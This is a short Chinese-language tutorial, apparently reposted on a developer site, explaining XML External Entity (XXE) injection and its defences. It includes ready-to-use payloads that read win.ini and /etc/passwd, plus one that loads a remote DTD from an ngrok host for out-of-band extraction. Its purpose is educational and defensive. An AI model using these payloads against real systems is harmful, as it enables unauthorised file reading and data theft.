概述
XXE
- 什么是XXE
- 利用方法
- 进阶
- 学习
- 防御
- 理论上的防御措施
- 实践有效的防御措施
什么是XXE
XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。
利用方法
file:///C:/Windows/win.ini
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://9c3f5c9c.ngrok.io/a.dtd">
%remote;
]>
<comment>
<text>test&send;</text>
</comment>
进阶
学习
XML实体注入漏洞攻与防
XXE(XML External Entity attack)XML外部实体注入攻击
XXE漏洞利用技巧:从XML到远程代码执行
防御
理论上的防御措施
- 禁用外部实体
- 过滤和验证用户提交的xml数据
- 不允许xml中含有任何自己声明的dtd
实践有效的防御措施
配置xml parser只能使用静态dtd,禁止外来引入
以java为例,通过设置相应的属性值为false
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
最后
以上就是纯真水蜜桃为你收集整理的XXE(外部实体注入攻击)什么是XXE利用方法进阶学习防御的全部内容,希望文章能够帮你解决XXE(外部实体注入攻击)什么是XXE利用方法进阶学习防御所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复